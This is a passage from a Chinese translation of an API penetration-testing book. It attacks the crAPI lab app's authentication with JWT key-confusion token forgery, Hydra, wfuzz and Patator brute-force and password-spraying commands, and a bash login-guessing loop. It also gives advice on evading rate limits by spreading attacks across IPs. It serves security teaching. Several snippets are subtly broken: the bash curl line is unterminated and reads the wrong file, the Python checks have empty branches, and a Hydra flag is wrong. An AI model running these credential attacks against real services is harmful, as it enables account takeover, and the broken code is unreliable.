然而,即使是采用 RS 实现的系统,也可能会受到 JWT 攻击的威胁。有几种方法可以测试是否存在漏洞。借助我们的朋友jwt_tool,我们可以对 crAPI 部署进行测试,看看它是否能发现漏洞。在记录下你登录时收到的 AuthZ 令牌后,输入以下命令(单行命令)。/workshop/api/shop/products是 crAPI 的一个端点:
$ python jwt_tool.py -M at -t "http://localhost:8888/workshop/api/shop/products" -rh "Authorization: Bearer <original token>"
...
[+] Sending token
jwttool_7eaff80aee0ab3e8792d5bc1292a927b Sending token Response Code: 200, 169 bytes
Running Scanning Module:
Running prescan checks...
...
Scanning mode completed: review the above results.
没有发现漏洞。工具在攻击原始令牌时未成功。它建议使用hashcat尝试一些暴力破解攻击。你可以试试看,但会发现 hashcat 会抱怨令牌的大小,表示它太大。
实现 JWT 的 API 可能在/.well-known/jwks.json或/jwks.json路径下提供一个端点。这些端点的唯一目的是公开用于签署 API 生成的令牌的公钥。你可以访问http://localhost:8888/.well-known/jwks.json并复制其内容。它是一个 JSON 结构,包含一系列的键和值,类似于这样:
{ "keys": [ { "kty": "RSA", "e": "AQAB", "use": "sig", "kid": "MKMZkDenUfuDF2byYowDj7tW5Ox6XG4Y1THTEGScRg8", "alg": "RS256", "n": "sZKrGYja9S7BkO-waOcupoGY6BQjixJkg1Uitt278NbiCSnBRw5_cmfuWFFFPgRxabBZBJwJAujnQrlgTLXnRRItM9SRO884cEXn-s4Uc8qwk6pev63qb8no6aCVY0dFpthEGtOP-3KIJ2kx2i5HNzm8d7fG3ZswZrttDVbSSTy8UjPTOr4xVw1Yyh_GzGK9i_RYBWHftDsVfKrHcgGn1F_T6W0cgcnh4KFmbyOQ7dUy8Uc6Gu8JHeHJVt2vGcn50EDtUy2YN-UnZPjCSC7vYOfd5teUR_Bf4jg8GN6UnLbr_Et8HUnz9RFBLkPIf0NiY6iRjp9ooSDkml2OGql3ww" } ] }
我们知道用户的角色是user,这使我们推测这是一个普通的无权角色。我们的任务现在是伪造一个令牌,使该用户成为 crAPI 的管理员。由于该令牌不是使用 HMAC 算法签名的,因此我们不能使用jwt_tool的-C选项来破解令牌。如果普通用户的角色被称为user,也许管理员角色是admin。我们将检查 crAPI 是否容易受到密钥混淆漏洞的攻击,即通过提供 HS256 作为签名算法来欺骗 Web 服务器,并检查服务器的令牌验证功能是否足够天真,将提供的公钥当作 HMAC 密钥。接下来的测试,你应该考虑使用Burp Suite并安装JWT和JWT Editor扩展。我们将进行以下操作:
-
获取服务器的公钥(我们已经获得)。
-
将密钥转换为适当的格式。
-
通过将“alg”头设置为 HS256,生成一个新的 JWT。
-
使用 HS256 签署新的令牌,并将公钥用作对称密钥。
只需按照以下步骤操作,就可以完成:
-
打开 Burp Suite 并安装前述的扩展。你可以通过Extensions | BApp Store选项卡进行安装。
-
点击JWT Editor扩展,然后点击New RSA Key。
-
在此窗口中,将 JWKS 内容粘贴到
key块内(粘贴时,抑制keys部分和周围的花括号)。 -
接下来,选择PEM单选按钮。这将显示 PEM 格式的公钥。
-
复制此文本并点击OK按钮。
-
转到Decoder扩展,粘贴 PEM 公钥,点击Encode as…按钮,然后选择Base64。复制结果。
-
返回到JWT Editor扩展并点击New Symmetric Key。这将打开一个窗口,默认选中Random secret选项。
-
只需点击Generate按钮。
-
用从Decoder扩展复制的文本替换
k参数的内容。 -
点击OK。
配置你的 Web 浏览器,将 Burp Suite 用作代理。默认情况下,Burp Suite 在 localhost 端口8080上运行,但可以调整。用有效的用户名和密码登录到 crAPI。这将生成一个有效的令牌。切换到/identity/api/v2/vehicle/vehicles。选择此请求,右键点击它,选择Send to repeater。打开Repeater。你将在Raw和Hex标签旁边看到JSON Web Tokens标签。点击它。将算法更改为HS256,将角色更改为admin。
现在点击/workshop/api/shop/products,并发送请求。它会以Invalid JWT Token消息失败。这可能意味着 crAPI 的 JWT 实现没有受到密钥混淆漏洞的影响。但是,如果你将端点更改为/identity/api/v2/user/dashboard,crAPI 将返回一个有效的响应,并提供一个包含我们原始角色的 JSON 结构(图 4.2):
https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/pentest-api/img/B19657_04_02.jpg
图 4.2 – crAPI 仅接受伪造的令牌用于用户仪表板端点
会话令牌、承载令牌和 JWT 在目的上相似,但在实现上有所不同。会话令牌通常存储在服务器上,其对应的数据也存储在服务器端。承载令牌是自包含的,通常用于 OAuth 进行 API 授权,而 JWT 是一种承载令牌,具有额外的特性,如声明和数字签名,使其在安全数据交换中更为多用途。会话令牌与用户会话紧密相关,常用于 Web 应用程序中以维持用户状态。
本质上,虽然会话令牌是特定于 Web 应用程序中的用户会话的,但承载令牌和 JWT 是用于各种身份认证(AuthN)和授权(AuthZ)目的的更广泛的概念,每种都有其独特的优势和注意事项,在不同的上下文中需要做出权衡。理解它们的特点对于 Web 开发和 API 安全中的安全有效实现至关重要。
在下一节中,我们将探讨如何发现并实现使用弱凭证和默认账户的身份认证和授权。
测试弱凭证和默认账户
阅读本节标题时,作为一个细心的读者,你可能会联想到许多路由器、接入点、网络桥接设备,以及无数的物联网(IoT)设备。遗憾的是,根据客户需求,这些设备通常只是被简单配置后投入使用,几乎就像一个“即插即用”的盒子。实际上,一些设备设计的初衷正是如此。问题在于,这些设备中的某些类型实际上是被设计为智能设备,这就需要运行更复杂的软件以及凭证要求。由于许多用户/客户根本不关心产品如何工作,探索默认凭证的可能性几乎是无限的。
同样的事情也可能发生在 API 上。有时,开发者忘记删除仅用于测试的凭证对,有时凭证是硬编码在代码中的,而这些代码存储在公开的代码库中,还有时这些凭证被赋予了强大的权限,这是 API 中最糟糕的情况。其他情况下,默认账户可能并不存在,但凭证无论是有意的还是无意的——是的,有时可能带有恶意意图——它们的安全性较差。简单和/或短的密码、糟糕实现的伪随机数生成器、小的种子和盐值、脆弱的哈希算法和加密算法,都是弱凭证创建和传播的示例。
暴力攻击
这是任何关于应用程序凭证讨论中可能会首先出现的话题。如果你在 Google 上搜索类似于 最常用的密码 或 常见密码,或者这些词汇的组合,你会对搜索结果的数量感到惊讶。在本章的 进一步阅读 部分,你会找到一些密码目录的列表,其中有些目录的大小达到吉字节,可以用来进行测试。
在 API 渗透测试的上下文中,暴力破解攻击针对的是需要凭证进行访问的 AuthN 端点。你可以使用专门的工具来自动化这个过程,这些工具可以简化暴力破解过程,允许你指定用户名和密码列表、目标端点,并定义攻击参数。一些非常有用的工具包括 hashcat、Medusa 和 Hydra。让我们先尝试使用 Hydra 对 crAPI 进行攻击。但在此之前,我们需要了解 crAPI 如何处理 AuthN 尝试。可以使用 Burp Suite、ZAP,或者你的浏览器的开发者工具,打开登录页面并输入任何电子邮件地址和密码。crAPI 会显然拒绝你的尝试,但重要的是请求是如何发送的。你将会发现类似以下内容:
POST /identity/api/auth/login HTTP/1.1
Host: localhost:8888
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://localhost:8888/login
Content-Type: application/json
Content-Length: 49
Origin: http://localhost:8888
Connection: close
{"email":"blabla@domain.com","password":"nonono"}
在使用 Hydra 时,我们需要遵守其中的多个字段,以便 crAPI 的后台能够正确处理我们的尝试。应用程序期望输入为 JSON 格式。同样,错误输出也会是 JSON 格式:
...
Content-Type: application/json
{"token":null,"type":"Bearer","message":"Given Email is not registered! "}
...
现在,尝试使用有效的凭证对进行测试,并观察相应的响应。答案是 JWT 及其他参数:
...
Content-Type: application/json
...
{"token":"eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJtYXVyaWNpb0Bkb21haW4uY29tIiw icm9sZSI6InVzZXIiLCJpYXQiOjE3MDc2NTkzODIsImV4cCI6MTcwODI2NDE4Mn0.X57Sg 1JDwDV1Zs7vyEcO_tJCcemXCHMV27ttJe-nuoF2hYpxRRAwYiM9BkKNDpWmfBSu4YtQTIa DjI9ueyC3xQM_g_w3Z6i3RxxMhZoEVf5psujkbmJi2DaznLiEISsVXashO30SOQKNFuCx v_1K8QtReRkGV7EzZcLrucEnM56vMfz6-Z0Kd5ND4YXBNDsj5CjdnehuxtjVrCf-q33a3J W9jwoqJPiFRoMVlbnX3wv3VHjU0768tpYwdon80th7Je34JgtLafbHDb9m8aSsnvdnnO7O LWOBtJC65HD14jdanY0GPt9ltqA9_-d2f6zk1jIOSJO-3emQqaXM6lMSAQ","type":"Bearer","message":null}
现在,选择所有作为成功登录活动一部分发送的请求参数。你几乎需要所有这些参数来构建命令。不管你使用了什么工具来捕获请求,你都会得到以下参数:
POST /identity/api/auth/login HTTP/1.1
Host: localhost:8888
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://localhost:8888/login
Content-Type: application/json
Content-Length: 53
Origin: http://localhost:8888
Connection: close
{"email":"<your username>","password":"<your password>"}
Hydra 会并行化暴力破解尝试,以优化你的搜索。假设 admin 是一个可能的用户名(Hydra 会根据你选择的动词类型将 http 替换为 http-get 或 http-post),并使用一个包含密码的文本文件(passlist.txt),执行以下命令:
$ hydra -l admin -v -P passlist.txt -s 8888 localhost http-post "/identity/api/auth/login:{\"email\"\:\"^USER^\",\"password\"\:\"^PASS^\"}:S=\"token\":H=Accept: */*:H=Accept-Language: en-US,en;q=0.5:H=Accept-Encoding: gzip, deflate, br:H=Referer: http\://localhost\:8888/login:H =Content-Type: application/json:H=Origin: http\://localhost\:8888:H=Connection: close"
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-07 03:09:02
[DATA] max 16 tasks per 1 server, overall 16 tasks, 50915 login tries (l:1/p:50915), ~3183 tries per task
[DATA] attacking http-post://localhost:8888/identity/api/auth/login
[STATUS] 9112.00 tries/min, 9112 tries in 00:01h, 41803 to do in 00:05h, 16 active
[STATUS] 9234.00 tries/min, 27702 tries in 00:03h, 23213 to do in 00:03h, 16 active
1 of 1 target completed, 0 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-02-07 03:14:31
让我们首先解释一些参数:
-
-l:要求你提供唯一的用户名以进行测试。 -
-v/-V:启用详细模式。 -
-P:要求提供一个密码列表文件。 -
-s:如果目标没有使用默认端口(80或443),你需要指定端口。 -
http-post:需要使用的 Hydra 模块。
双引号中的所有内容要么是标题的一部分,要么是请求体的一部分。"/identity/api/auth/login:{\"email\"\:\"^USER^\",\"password\"\:\"^PASS^\"}" 部分包括了 API 端点以及 crAPI 期望接收的 JSON 结构。在这里,^USER^ 会被你通过 -l 提供的登录名替换,而 ^PASS^ 会被 passlist.txt 文件中的密码逐一替换。接着,我们指定了在登录成功时期望接收到的内容(S 键)。如我们所见,当成功登录时,我们能够访问大量数据,包括一个 token 字样,后跟相应的 JWT。所有以 H= 开头的元素都是头部的一部分。此外,请注意反斜杠字符(\)。它用于转义紧随其后的字符,以便 Hydra 能够正确处理,而不是将其误认为请求的结束引号或分号分隔符。
到目前为止,我们什么也没有找到。让我们改用一个包含多个用户名的登录文件来尝试。这个文件包含如 admin、administrator、Administrator、admin123 和 4dm1n 这样的行。当然,文件中行数越多,任务就会越长。最好在进行其他操作时让它继续运行。Hydra 还允许你指定希望同时运行的线程数。以下命令可以写成一行:
$ hydra -l login.txt -v -P passlist.txt -s 8888 localhost http-post "/identity/api/auth/login:{\"email\"\:\"^USER^\",\"password\"\:\"^PASS^\"}:S=\"token\":H=Accept: */*:H=Accept-Language: en-US,en;q=0.5:H=Accept-Encoding: gzip, deflate, br:H=Referer: http\://localhost\:8888/login:H=Content-Type: application/json:H=Origin: http\://localhost\:8888:H=Connection: close"
观察并行线程(默认 16 个)正在执行攻击:
$ ps a | grep hydra
15897 pts/0 S+ 0:08 hydra -L login.txt -P passlist.txt http-post://localhost:8888/identity/api/auth/login
15919 pts/0 S+ 0:03 hydra -L login.txt -P passlist.txt http-post://localhost:8888/identity/api/auth/login
...
15933 pts/0 S+ 0:03 hydra -L login.txt -P passlist.txt http-post://localhost:8888/identity/api/auth/login
15934 pts/0 S+ 0:02 hydra -L login.txt -P passlist.txt http-post://localhost:8888/identity/api/auth/login
该工具成功找到了一个有效的用户名/密码组合:
[8888][http-post-form] host: localhost login: admin@example.com password: Admin!123
请记住,像 Hydra 使用的方法可能会被 API 后端本身检测到,或者更容易被其他保护层,如 WAF,检测到。该工具会生成成千上万甚至百万次请求发送到目标端点,这些请求可能会被启用了速率限制保护的 API 端点进行衡量和阻止。让我们检查一下,举个例子,crAPI 日志条目是如何显示的:
$ docker logs -f crapi-web
admin [07/Feb/2024:02:28:02 +0000] "POST /identity/api/auth/login HTTP/1.1" 400 0 "-" "Mozilla/4.0 (Hydra)"
为了规避这一点,你应该从不同的 IP 地址运行多个 Hydra 实例。可以启动多个容器,最好使用独立的网络段,或者创建一个具有伪造 IP 地址的受控环境。当然,切记不要在互联网上伪造有效的 IP 地址。我们是安全专家,不是罪犯。
其他有效的暴力破解工具包括 Medusa 和 ncracker。然而,在我为撰写本章所做的测试中,它们并不如 Hydra 成功,或者它们的性能没有 Hydra 好。运行这些类型的攻击时,千万不要忘记使用字典文件。将它们结合使用、混合搭配是接近某些 API 端点凭证的有效方式。
有一个非常有趣的工具叫做常见用户密码分析器(CUPP;github.com/Mebus/cupp)。它可以帮助你从互联网上下载大型密码列表。它还有一个交互模式,会根据你回答的问题来生成针对目标/受害者的密码列表。一个优点是,这段 Python 代码不需要任何第三方模块,下载后你就可以直接使用。我们来对 crAPI 进行测试。我们将从 AlectoDB 下载默认的用户名和密码(目前已合并至github.com/yangbh/Hammer/tree/master/lib/cupp)。克隆 CUPP 的仓库,并输入以下命令:
$ python cupp.py -a ___________ cupp.py! # Common \ # User \ ,__, # Passwords \ (oo)____ # Profiler (__) )\ ||--|| * [ Muris Kurgas | j0rgan@remote-exploit.org ] [ Mebus | https://github.com/Mebus/]
[+] Checking if alectodb is not present...
[+] Downloading alectodb.csv.gz from https://github.com/yangbh/... ...
[+] Exporting to alectodb-usernames.txt and alectodb-passwords.txt [+] Done.
你刚刚获得了包含用户名和密码的两个文本文件。你将在第六章《错误处理与异常测试》中了解更多相关内容,但还有一个名为Wfuzz的工具(github.com/xmendez/wfuzz),你可以通过多种方式安装它,帮助进行利用密码列表进行暴力破解攻击。我通过pip安装了它,并使用刚下载的用户名和密码对 crAPI 进行了测试。以下是结果:
$ wfuzz -z file,alectodb-usernames.txt -z file,alectodb-passwords.txt \
-X POST -H "Content-Type: application/json" \
-d '{"email":"FUZZ","password":"FUZ2Z"}' \
http://localhost:8888/identity/api/auth/login
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://localhost:8888/identity/api/auth/login
Total requests: 915096
=====================================================================ID Response Lines Word Chars Payload =====================================================================
000000001: 400 0 L 118 W 1520 Ch "123456" 000000042: 400 0 L 61 W 797 Ch "2222" 000000041: 400 0 L 61 W 797 Ch "21241036" 000000015: 400 0 L 61 W 797 Ch "(unknown)" 000000003: 400 0 L 61 W 797 Ch "!manage" 000000043: 400 0 L 61 W 797 Ch "22222"
…Output omitted for brevity…
Total time: 0
Processed Requests: 1105854
Filtered Requests: 0
Requests/sec.: 0
观察ID列中的请求编号。它们并不是按顺序排列的。原因是Wfuzz将它们组织在不同的线程中,这样可以一次发送多个请求。我们这次没有找到匹配的结果,但这并不影响工具的有效性。你可以将它与其他词典结合使用。Wfuzz非常方便,因为它会尝试多种用户名和密码组合,并显示所有成功的尝试。当然,如果你已经知道用户名或密码之一,这将大大减少程序的工作量。关于链接列表的参考,可以在章节末尾找到。
常见凭据和默认账户
你可以利用在上一章中获得的知识,例如 OSINT 技巧和其他枚举方法,来获得一些默认的 API 凭据。API 文档本身是默认凭据的有效来源。在你的渗透测试工作中,你可能会发现一个利用市场 API 提供商后端的网站。一些提供商的产品有默认凭据,包括管理员凭据。因此,借助检查文档或其他主动或被动方法,你可能会发现一对凭据。
使用与前一小节相同的方法,首先在 Google 上搜索默认密码或常见密码。在本章末尾可以找到 2024 年生成的密码列表。一些系统管理员仍然使用默认的管理员用户名,如admin或administrator来运行他们的 API 后台。即使是运行流行的admin或administrator网站,它们也可能是超级用户的用户名。其本地化版本,如administrador,也是有效的。
当然,你也可以使用 Hydra、Medusa 或 Burp Suite 的repeater或intruder功能,甚至通过网页浏览器来做这件事,但你也可以通过编写一个简单的循环脚本来自动化你的工作,比如以下这个:
#!/bin/bash
passwords="wordlist.txt"
MAXWAIT=2
while IFS= read -r line
do
curl -X POST --data "username=admin&password=$line >> output.txt
sleep $((RANDOM % MAXWAIT))
done < passwords
在前面的代码中,wordlist文件名被放入$passwords变量中。然后,我将$MAXWAIT变量设置为2。在while循环内,我执行了curl命令,并将其输出附加到output.txt文件中。然后,我让代码休眠一个介于 0 到 2 秒之间的随机数。$RANDOM变量是 Bash 内置的,返回一个介于 0 到 32,767 之间的随机整数。该整数然后被$MAXWAIT除,余数就是脚本休眠的秒数。这只是为了避免被某些 API 的速率限制控制限制。脚本在while循环结束时读取wordlist.txt文件并逐行处理。
做相反的操作也是有效的,这是一种叫做密码喷洒的技术。它的工作原理是针对多个用户账户测试一个单一密码或一小组密码。它对于那些为所有用户生成相同初始密码并建议用户在第一次登录后更改密码的应用程序非常有用。单纯依赖人类因素并不完全符合安全最佳实践。要进行密码喷洒,可以使用一些工具,如 CrackMapExec、Patator 和 Metasploit(它是一个包含众多插件的工具)。让我们考虑使用 Patator 来完成这个任务。
如果你在安装了本章提到的实验环境后跟随本章,那么在 Ubuntu 上运行 Patator 就像执行sudo apt-get update;sudo apt-get install patator一样简单。只需注意,这个包有很多依赖项。当我编写本章时,软件及其依赖项大约占用 300MB 的磁盘空间。
在深入挖掘并发现版本 0.9 的 Patator(用于编写本章的版本)似乎无法正确处理 HTTP 请求头后,我最终得到了以下结果:
$ patator http_fuzz method=POST resolve=domain:127.0.0.1 url=http://localhost:8888/identity/api/auth/login auto_urlencode=0 body='{"email": "FILE0", "password": "Admin!123"}' 0=./userlist.txt header=@fuzzerheader.txt
patator INFO - Starting Patator 0.9 (https://github.com/lanjelot/patator) with python-3.10.12 at 2024-02-18 18:40 -03
patator INFO -
patator INFO - code size:clen time | candidate | num | mesg
patator INFO - ----------------------------------------------------------
patator INFO - 500 595:74 0.163 | user@domain.com | 5 | HTTP/1.1 500
patator INFO - 500 595:74 0.252 | user@example.com | 6 | HTTP/1.1 500
patator INFO - 500 595:74 0.451 | admin@domain.com | 1 | HTTP/1.1 500
patator INFO - 200 1031:509 0.442 | admin@example.com | 2 | HTTP/1.1 200
patator INFO - 500 595:74 0.359 | dummy@domain.com | 3 | HTTP/1.1 500
patator INFO - 500 595:74 0.366 | dummy@example.com | 4 | HTTP/1.1 500
patator INFO - Hits/Done/Skip/Fail/Size: 6/6/0/0/6, Avg: 5 r/s, Time: 0h 0m 1s
仅为了保持一致性,前面的命令是单行输入的。现在,让我解释一下所有不太直观的参数:
-
http_fuzz:Patator 有很多模块,这是用于处理 HTTP 目标的模块。由于我们尝试对 crAPI(一个 HTTP REST API 实现)进行身份验证,它是最佳选择。 -
method=POST:我们需要告诉http_fuzz使用哪种 HTTP 方法。为了进行身份验证,crAPI 期望请求使用 POST 方法发送。 -
resolve=domain:127.0.0.1:需要添加这个参数,因为 Patator 在处理 URL 时有些困惑。由于我的 crAPI 实现运行在本地主机上,我只是告诉 Patator 在解析主机名时,将其视为127.0.0.1。我知道这看起来不合逻辑,但这是我找到的让 Patator 与本地主机 URL 配合工作的方式。 -
autourl_encode=0:指示 Patator 在发送请求之前对所有请求体中的字符进行编码。这在处理非字母数字字符时非常有用,比如接下来会解释的 JSON 结构中使用的字符。 -
body='{"email": "FILE0", "password": "Admin!123"}':这是表示登录的 JSON 结构。我使用了默认的 crAPI 管理员密码来演示当工具成功时的情况。FILE0表示邮箱地址会被后面指定的文件中的行替换。 -
0=./userlist.txt:这对应之前的FILE0项。userlist.txt文件包含了所有用户名,每行一个,作为登录凭据。 -
header=@fuzzerheader.txt:fuzzerheader.txt文件包含了 crAPI 登录请求所需的头信息。这个内容会根据目标 API 端点的实现而有所不同,正如我们之前讨论过的,首先你需要枚举该端点,了解其细节。
userlist.txt 文件内容如下:
admin@domain.com
admin@example.com
dummy@domain.com
dummy@example.com
user@domain.com
user@example.com
fuzzerheader.txt 文件包含如下内容:
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8888/login
Content-Type: application/json
Origin: http://localhost:8888
Connection: close
观察之前执行的 Patator 命令的列状输出。每一行对应用户名和密码的一个组合。在这个例子中,只考虑了一个密码,但你也可以使用另一个文本文件(如字典文件)来提供给工具。在 code 部分,你可以看到作为响应发送的 HTTP 代码。size:clen 列显示了响应中接收到的字符数:分别是总大小和内容长度。后者才是我们关心的。时间一目了然。Candidate 假设每一个用户名和密码组合。如果我们尝试多个密码,行内容会是类似 username:password 的形式。Num 对应组合的编号。观察到 Patator 并不一定按 userlist.txt 文件中的顺序执行。虽然 admin@domain.com 在第一行,但它出现在第三行的输出中。最后再次显示的是带有代码的消息。
我们在寻找 200 响应码,这表示尝试是成功的。在我们的案例中,它发生在第四行输出中,其中 size 相比其他行大得多。然而,仅仅通过大小差异并不能说明任何问题。你应该关注所有带有 200 响应 码的行。请注意,也可能会出现假阳性。因此,将所有看似成功的用户名和密码分开,进一步调查。
在下一节中,我们将介绍 API 的 AuthZ 机制。
探索授权机制
所以,我们已经玩过了 AuthN 部分,但这只是整个过程的一部分。在获得系统访问权限后,我们需要拥有足够的权限去做一些普通用户无法做到的事情。然而,值得提到的是,即使是普通用户,也可能根据 API 的 AuthZ 控制实施方式,具有只读权限访问敏感数据或其他用户的数据。
在 API 渗透测试过程中,探索 AuthZ 机制对于识别潜在的安全漏洞并确保只有授权用户或客户端能够访问受保护的资源至关重要。AuthZ 机制定义了管理访问 API 端点、数据和功能的规则和策略,测试这些机制有助于评估其在执行访问控制和防止未授权访问方面的有效性。在进一步探讨如何探索 API 的 AuthZ 机制之前,我们需要了解它们是什么。AuthZ 机制是指定一旦用户认证后,用户可以做什么和不能做什么的控制方式。截止到目前,最常用的方法如下:
-
基于角色的访问控制 (RBAC):系统中的每个有效用户都会被分配一个或多个角色,这些角色决定了哪些操作是被允许的。根据系统的设计,某些操作也可能会被明确拒绝。一旦检测到这样的机制,你可以尝试发现存在哪些角色,并设计绕过/使控制失效的方法。一个现实的例子是,一家公司中属于人力资源部门(角色)的员工将能访问工资单数据,而其他员工(当然不包括董事会成员)则无法访问。
-
基于属性的访问控制(ABAC):结合分配给用户、他们试图访问的资源以及资源所在的物理或逻辑环境的参数或属性。这是通常由公共云服务提供商应用的一种控制方式,这些属性通常被称为“标签”或“标记”(不要与智能令牌或标签混淆)。它们由键值对组成,云系统管理员可以将其分配给不同的用户和资源,以更好地对资产进行分组。权限可以根据这些标签来设置。您可以尝试操纵或注入属性以获得未经授权的访问。一个现实世界的例子是在机构提供服务的承包商。一旦他们穿着公司提供的制服(标签),他们就被授予进入被分配给其承包公司的区域的权限。然而,每个承包商只能访问为其被聘用的公司指定的区域。当另一位为同一家公司工作的承包商最终被添加或取代之前的承包商时,新的承包商必须获得类似的制服。通过穿着另一位承包商的制服,您可能进入他们公司的区域,可能不会被注意到。
-
OAuth 范围:我们已经讨论了 OAuth 及其为 API 提供的功能。在这种情况下,范围定义用户被授权请求的具体访问级别或资源。一个现实世界的例子可能是军事设施,各级军官将共同工作。然而,上尉收到的信息的上下文要高于中尉的,后者高于上尉的,依此类推。冒充军官(绕过上下文)将使您能够访问受限/特权信息。
让我们更详细地看看每一个。
基于角色的访问控制
假设您正在测试和尝试探索的系统应用了这种机制。crAPI 是这样的,对吧?还记得我们曾伪造令牌,假装拥有ROLE_ADMIN角色而不是ROLE_USER吗?
在 API 安全领域,RBAC 在保护对敏感数据和功能的访问中发挥着关键作用。这种方法基于为用户或群组分配的预定义角色授予权限,确保个体仅具备其指定任务所需的访问级别。
RBAC 操作基于三个核心组件:
-
admin、editor、reader或guest。 -
用户:与 API 交互的个体实体,通常通过用户名、ID 或其他唯一标识符进行识别。
-
权限:用户可以对 API 资源执行的粒度操作,如创建、读取、更新或删除(CRUD)。
用户首先通过 API 进行身份验证,提供诸如用户名、密码或令牌等凭据。根据验证过的用户,系统确定其分配的角色。当用户请求访问特定的 API 资源时,系统会验证其相关角色是否具有所请求操作所需的权限。如果用户的角色具有所需权限,则授予访问权限;否则,拒绝访问,并返回相应的错误消息。
RBAC 的一些优点如下:
-
细粒度访问控制:通过根据特定角色定制权限,实现对 API 访问的精细控制。
-
减少复杂性:通过将相似的权限归类到角色中,简化访问管理。
-
增强的安全性:通过基于用户角色限制操作,最小化未经授权访问的风险。
使用 RBAC 的公共 API 示例包括云存储 API,其中授予特定文件夹或文件的读/写访问权限是基于用户角色的;社交媒体 API,允许用户根据其账户类型(管理员、版主或普通用户)发布、编辑或删除内容;以及电子商务 API,基于用户角色(客户、供应商或管理员)控制对产品信息、订单管理和定价数据的访问。
基于属性的访问控制
ABAC 深入探讨了访问控制的工作方式。它不仅仅依赖于角色及其权限,而是提供了一种更加细致和灵活的方法,特别适用于复杂的 API 环境。例如,医疗 API 根据用户角色、数据敏感度等级和访问位置来控制对敏感病人数据的访问。金融 API 基于用户身份、账户类型、交易金额和时间来授予财务交易的授权。物联网(IoT)API 基于设备类型、位置以及与设备相关的特定权限来启用安全的设备访问和数据交换。
除了仅仅依赖预定义的、有时是自定义的角色外,ABAC 还会评估与访问请求中不同实体相关的各种属性:
-
主体:请求访问的用户或实体(例如,用户名、IP 地址或设备类型)。
-
资源:被访问的 API 资源(例如,数据对象或端点 URL)。
-
操作:正在尝试的操作(例如,读取、写入或删除)。
-
环境:上下文因素,如时间、位置或特定条件(例如,紧急访问)。
-
属性:与任何前述实体相关的额外数据点(例如,用户部门、资源敏感度等级或时间)。
当用户与 API 进行交互时,系统会收集所有相关实体的属性。之后,系统会根据收集到的属性评估预定义的访问控制策略。这些策略定义了在特定条件下,某些操作是否被允许或拒绝。最后,根据策略评估结果,系统将决定是否授予访问权限。
应用 ABAC 的一些好处包括细粒度和灵活的控制,通过考虑除角色之外的各种属性,实现高度细化的访问控制;动态和可调整的策略,可以根据属性变化动态调整,适用于复杂和不断变化的环境;以及减少配置错误,通过关注特定属性和条件,降低角色配置错误的风险。
例如,Amazon Web Services(AWS)为其资源组标签提供了特定的 API,允许客户或合作伙伴通过创建、附加、更新或删除标签与其云资源进行交互。然后,这些标签可以进一步与 AWS IAM 策略进行检查,以符合云访问控制策略。
OAuth 范围
OAuth 范围在某些方面类似于 ABAC 支持的 API 中的属性,因为它们也应用标签。它们作为定义应用程序可以请求的特定权限的机制,进而决定它在 API 资源上的访问级别。OAuth 范围本质上是表示与 API 相关的一组特定权限的字符串。当应用程序使用 OAuth 请求 API 访问时,它会在其 AuthZ 请求中指定所需的范围。然后,AuthZ 服务器会根据应用程序注册的权限评估这些请求的范围,并授予相应访问级别的访问令牌。
从中我们可以得出至少以下几种利用 OAuth 范围进行 API 访问的直接好处:
-
细粒度控制:通过允许应用程序仅请求其所需的特定权限,实现对 API 访问的精确控制。
-
减少风险:通过限制应用程序访问令牌的范围,降低未经授权访问的风险。
-
提高透明度:为每个应用程序提供清晰的权限可见性,从而增强问责制和信任。
可以在 API 上创建许多不同的范围来满足特定需求。API 可以利用的某些范围类型包括 只读(允许应用程序从特定 API 资源中读取数据,但不能修改或删除数据)、只写(授予应用程序创建或更新 API 中数据的能力,但不能读取现有信息)、完全访问(提供对所有 API 资源的全面访问,包括读取、写入和删除权限)、用户特定(根据与应用程序关联的用户定义权限,从而在特定用户上下文中进行精细控制)和 资源特定(限制对 API 中特定资源的访问,允许应用程序仅访问所需的数据)。
以下 Python 代码块展示了处理 API 上 OAuth 范围的一些示例:
import requests
# providing the scope as part of the HTTP GET request
auth_url = "https://api.example.com/oauth/authorize"
params = {
"client_id": "your_client_id",
"redirect_uri": "your_redirect_uri",
"response_type": "code",
"scope": "read-write"
}
response = requests.get(auth_url, params=params)
# A JWT carrying the granted scope
token = {
"access_token": "your_access_token",
"expires_in": 3600,
"scope": "read"
}
# How you could check the scopes in a request
headers = {
"Authorization": f"Bearer {your_access_token}"
}
response = requests.get("https://api.example.com/resource", headers=headers)
# Check if at least read access was granted
if "read" in response.json().get("scopes", []):
# Access granted
else:
# Access denied due to insufficient scope
# Creating scopes with Flask
from flask import Flask
from flask_oauthlib.provider import OAuth1Provider
app = Flask(__name__)
scopes = {
"read": "Read access to all resources",
"write": "Write access to all resources",
"user:read": "Read access to user data",
"user:write": "Write access to user data"
}
@app.route("/api/protected")
@requires_oauth("read")
def protected_resource():
# Access granted for users with the "read"
代码的最后部分展示了利用 Flask OAuth 库的简便方法。Flask 是一个使构建 Python 后端应用程序更容易的框架。
一些广为人知的使用 OAuth 范围的 API 包括 Google Drive、GitHub、X(前身为 Twitter)、Dropbox 和 Facebook/Meta。
接下来,让我们学习如何绕过访问控制。
绕过访问控制
为了成功绕过访问控制,你必须要么探索 API 中的配置错误或缺失的配置,要么发现一些后端逻辑缺陷。所有提到的 AuthZ 机制都很强大,但它们在 API 端点上的实现方式可能使它们变得无效,或至少对某些尝试存在漏洞。
